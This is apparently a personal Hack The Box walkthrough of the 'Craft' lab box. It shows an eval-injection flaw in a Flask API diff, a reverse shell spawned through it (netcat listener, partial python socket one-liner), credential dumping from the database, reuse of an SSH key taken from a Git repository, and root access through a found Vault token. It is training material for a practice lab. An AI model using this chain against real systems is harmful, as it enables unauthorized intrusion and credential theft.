Hack the Box Walkthrough: Craft

  about 2186 words  11 min 

Overview

This post provides a walkthrough of the Craft system on Hack The Box. This walktrough, in entirety, is a spoiler.

I create these walkthroughs as documentation for myself while working through a system; excuse any brevity or lack of formality. I’ve uploaded this walkthrough to help those that may be stuck.

Service Enumeration

To kick things off, we start with some service discovery to figure out what is actually running on this box.

Nmap Scan

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
# nmap -A -Pn -n -T5 -p1-65535 10.10.10.110
[snip]
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.4p1 Debian 10+deb9u5 (protocol 2.0)
| ssh-hostkey: 
|   2048 bd:e7:6c:22:81:7a:db:3e:c0:f0:73:1d:f3:af:77:65 (RSA)
|   256 82:b5:f9:d1:95:3b:6d:80:0f:35:91:86:2d:b3:d7:66 (ECDSA)
|_  256 28:3b:26:18:ec:df:b3:36:85:9c:27:54:8d:8c:e1:33 (ED25519)
443/tcp  open  ssl/http nginx 1.15.8
|_http-server-header: nginx/1.15.8
|_http-title: About
| ssl-cert: Subject: commonName=craft.htb/organizationName=Craft/stateOrProvinceName=NY/countryName=US
| Not valid before: 2019-02-06T02:25:47
|_Not valid after:  2020-06-20T02:25:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
| tls-nextprotoneg: 
|_  http/1.1
6022/tcp open  ssh      (protocol 2.0)
| fingerprint-strings: 
|   NULL: 
|_    SSH-2.0-Go
| ssh-hostkey: 
|_  2048 5b:cc:bf:f1:a1:8f:72:b0:c0:fb:df:a3:01:dc:a6:fb (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port6022-TCP:V=7.80%I=7%D=11/8%Time=5DC611AE%P=x86_64-pc-linux-gnu%r(NU
SF:LL,C,"SSH-2\.0-Go\r\n");
[snip]

Web Server on TCP/443

The web server appears to be running a website for some Craft brewing company that has an API. Exploring the web site, you find that there are links to https://api.craft.htb/api/ (API) and https://gogs.craft.htb/ (Gogs). The links don’t work without a DNS to resolve them so I just added entries to /etc/hosts/ pointing both domains names to 10.10.10.110. This allowed me to hit both of the VHOST's. The Gogs instance has a single repository called craft-api that is available to unauthenticated users. Other than the source code, there is an issue that can be accessed as well.

In the issue you find a user has posted a curl statement with an X-CRAFT-API-TOKEN included:

1
curl -H 'X-Craft-API-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k -X POST https://api.craft.htb/api/brew/ --data '{"name":"bullshit","brewer":"bullshit", "style": "bullshit", "abv": "15.0")}'

This seemed like an obvious item you might need to use on the API. In the issue there is also a respone with a link to a commit that ‘fixes’ the issue. The commit takes an unsanitized request parameter and uses it in to an eval statement:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
"""
Creates a new brew entry.
"""
-        
-	create_brew(request.json)
-	return None, 201
+
+	# make sure the ABV value is sane.
+	if eval('%s > 1' % request.json['abv']):
+		return "ABV must be a decimal value less than 1.0", 400
+	else:
+		create_brew(request.json)
+		return None, 201
 @ns.route('/<int:id>')
 @api.response(404, 'Brew not found.')

There is some command injection likely involved to gain an initial shell. Looking around further in the repository I came across this script; craft-api/tests/test.py. Looking in the commit history I saw that a user had commited their credentials initially:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login',  auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token =  json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json'  }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

# create a sample brew with bogus ABV... should fail.

print("Create bogus ABV brew")
brew_dict = {}
brew_dict['abv'] = '15.0'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)


# create a sample brew with real ABV... should succeed.
print("Create real ABV brew")
brew_dict = {}
brew_dict['abv'] = '0.15'
brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)
print(response.text)

Analyzing the API side of the site, the following RESTful endpoints caught my eye:

  • auth/login and then obviously the
  • POST /brew.

I needed to auth before I could called POST /brew to exploit the eval vulnerability. I used the credentials from above (dinesh/4aUh0A8PbVJxgd) to get a valid token that I could put in the X-CRAFT-API-TOKEN header. I then exploited the POST /api/brew endpoint to spawn a reverse shell. An example of this POST request:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
POST /api/brew/ HTTP/1.1
Host: api.craft.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Craft-API-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiZGluZXNoIiwiZXhwIjoxNTczMTAyMTA3fQ.LWHiYgaenqj9u6yb4HaPRq02MNVhfbPLiMotx91TCR0
Referer: https://api.craft.htb/api/
content-type: application/json
origin: https://api.craft.htb
Content-Length: 150
Connection: close

I got the shell back successfully:

1
2
3
# netcat -vlp 80
listening on [any] 80 ...
connect to [10.10.14.68] from api.craft.htb [10.10.10.110] 43821

In Jail

Upon exploring the reverse shell it became pretty apparent that I was in a jailed environment:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
/bin # ps
PID   USER     TIME  COMMAND
    1 root      0:05 python ./app.py
  180 root      0:00 [sh]
  356 root      0:00 [nc]
  363 root      0:00 [nc]
  369 root      0:00 [nc]
  457 root      0:00 [nc]
  460 root      0:00 [nc]
  513 root      0:00 /bin/sh
  574 root      0:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK
  575 root      0:00 /bin/sh -i
  582 root      0:00 python -c import pty;pty.spawn("/bin/sh")
  583 root      0:00 /bin/sh
  597 root      0:00 ps

I did some besic enumeration and found dbtest.py in the /opt/app folder:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/opt/app # cat dbtest.py 
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT `id`, `brewer`, `name`, `abv` FROM `brew` LIMIT 1"
        cursor.execute(sql)
        result = cursor.fetchone()
        print(result)

finally:

I noticed that a mySQL service was indeed running and accessible:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
/opt/app # netstat -anltup
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.11:34047        0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      769/python
tcp        0      0 0.0.0.0:8888            0.0.0.0:*               LISTEN      1/python
tcp        0      0 172.20.0.6:44888        172.20.0.4:3306         ESTABLISHED 1/python
tcp        0      0 172.20.0.6:43821        10.10.14.68:80          ESTABLISHED 513/sh
tcp        0     61 172.20.0.6:41514        10.10.14.68:8888        ESTABLISHED 574/python
udp        0      0 127.0.0.11:58349        0.0.0.0:*                           -

Looking around a bit further I found /opt/app/craft_api/settings.py:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
/opt/app/craft_api # cat settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False  # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
MYSQL_DATABASE_PASSWORD = 'qLGockJ6G2J75O'
MYSQL_DATABASE_DB = 'craft'
MYSQL_DATABASE_HOST = 'db'
SQLALCHEMY_TRACK_MODIFICATIONS = False

Looking at models.py it was pretty obvious that there were very likely some additional credentials in the database:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
/opt/app/craft_api/database # cat models.py
# The examples in this file come from the Flask-SQLAlchemy documentation
# For more information take a look at:
# http://flask-sqlalchemy.pocoo.org/2.1/quickstart/#simple-relationships

from datetime import datetime
from craft_api.database import db


class Brew(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    brewer = db.Column(db.String(80))
    name = db.Column(db.Text)
    style = db.Column(db.Text)
    abv = db.Column(db.Numeric)


    def __init__(self, brewer, name, style, abv):
        self.brewer = brewer
        self.name = name
        self.style = style
        self.abv = abv

    def __repr__(self):
        return '<Brew %r>' % self.name

class User(db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(45))
    password = db.Column(db.String(80))

    def __init__(self, username, password):
        self.username = username
        self.password = password/opt/app/craft_api/database # 

Putting this all together; we can use dbtest.py to retrieve data from the database:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/opt/app # cat dbtest.py 
#!/usr/bin/env python

import pymysql
from craft_api import settings

# test connection to mysql database

connection = pymysql.connect(host=settings.MYSQL_DATABASE_HOST,
                             user=settings.MYSQL_DATABASE_USER,
                             password=settings.MYSQL_DATABASE_PASSWORD,
                             db=settings.MYSQL_DATABASE_DB,
                             cursorclass=pymysql.cursors.DictCursor)

try: 
    with connection.cursor() as cursor:
        sql = "SELECT * FROM `user`"
        cursor.execute(sql)
        result = cursor.fetchall()
        print(result)

finally:


I ran this and got the following output:

1
2
/opt/app # python dbtest.py 
[{'id': 1, 'username': 'dinesh', 'password': '4aUh0A8PbVJxgd'}, {'id': 4, 'username': 'ebachman', 'password': 'llJ77D8QFkLPQB'}, {'id': 5, 'username': 'gilfoyle', 'password': 'ZEU3N8WNM2rh4T'}]

We already had the dinesh account credential, but ebachman and gilfoyle were new. I found the gilfoyle credential could be used to log in to Gogs. This relieve another repository called craft-infra that contained a folder called .ssh with an ssh public and private key.

I tried to use the private key to authenticate to the SSH service using the previously identified password ZEU3N8WNM2rh4T. This was succesful:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# ssh -i gilfoyle gilfoyle@10.10.10.110
  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/
Enter passphrase for key 'gilfoyle': 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov  8 20:04:21 2019 from 10.10.14.68
gilfoyle@craft:~$ whoami
gilfoyle

Getting User Flag

With access as the gilfoyle user, I was able to retrieve user.txt:

1
2
gilfoyle@craft:~$ cat user.txt
bbf4b0cadfa3d4e6d0914c9cd5a612d4

Enumeration for Root Flag

Noticee that there is a file in /home/gilfoyle called .vault-token. I also noticed hashicorp’s vault solution is installed. Authenticate to vault with token:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
gilfoyle@craft:~$ vault login token=f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
Success! You are now authenticated. The token information displayed below
is already stored in the token helper. You do NOT need to run "vault login"
again. Future Vault requests will automatically use this token.

Key                  Value
---                  -----
token                f1783c8d-41c7-0b12-d1c1-cf2aa17ac6b9
token_accessor       1dd7b9a1-f0f1-f230-dc76-46970deb5103
token_duration       ∞
token_renewable      false
token_policies       ["root"]
identity_policies    []
policies             ["root"]

Enumerate secret engines:

1
2
3
4
5
6
7
8
gilfoyle@craft:~$ vault secrets list
Path          Type         Accessor              Description
----          ----         --------              -----------
cubbyhole/    cubbyhole    cubbyhole_ffc9a6e5    per-token private secret storage
identity/     identity     identity_56533c34     identity store
secret/       kv           kv_2d9b0109           key/value secret storage
ssh/          ssh          ssh_3bbd5276          n/a
sys/          system       system_477ec595       system endpoints used for control, policy and debugging

Shell as Root

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
gilfoyle@craft:~$ vault ssh root@127.0.0.1
WARNING: No -role specified. Use -role to tell Vault which ssh role to use for
authentication. In the future, you will need to tell Vault which role to use.
For now, Vault will attempt to guess based on the API response. This will be
removed in the Vault 1.1.
Vault SSH: Role: "root_otp"
WARNING: No -mode specified. Use -mode to tell Vault which ssh authentication
mode to use. In the future, you will need to tell Vault which mode to use.
For now, Vault will attempt to guess based on the API response. This guess
involves creating a temporary credential, reading its type, and then revoking
it. To reduce the number of API calls and surface area, specify -mode
directly. This will be removed in Vault 1.1.
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 6492c78c-4c49-3dbe-740b-f789016b13de
  .   *   ..  . *  *
*  * @()Ooc()*   o  .
    (Q@*0CG*O()  ___
   |\_________/|/ _ \
   |  |  |  |  | / | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | | | |
   |  |  |  |  | \_| |
   |  |  |  |  |\___/
   |\_|__|__|_/|
    \_________/
Password: 
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Nov  8 22:14:54 2019 from 127.0.0.1
root@craft:~# whoami
root
root@craft:~# cat root.txt 
831d64ef54d92c1af795daae28a11591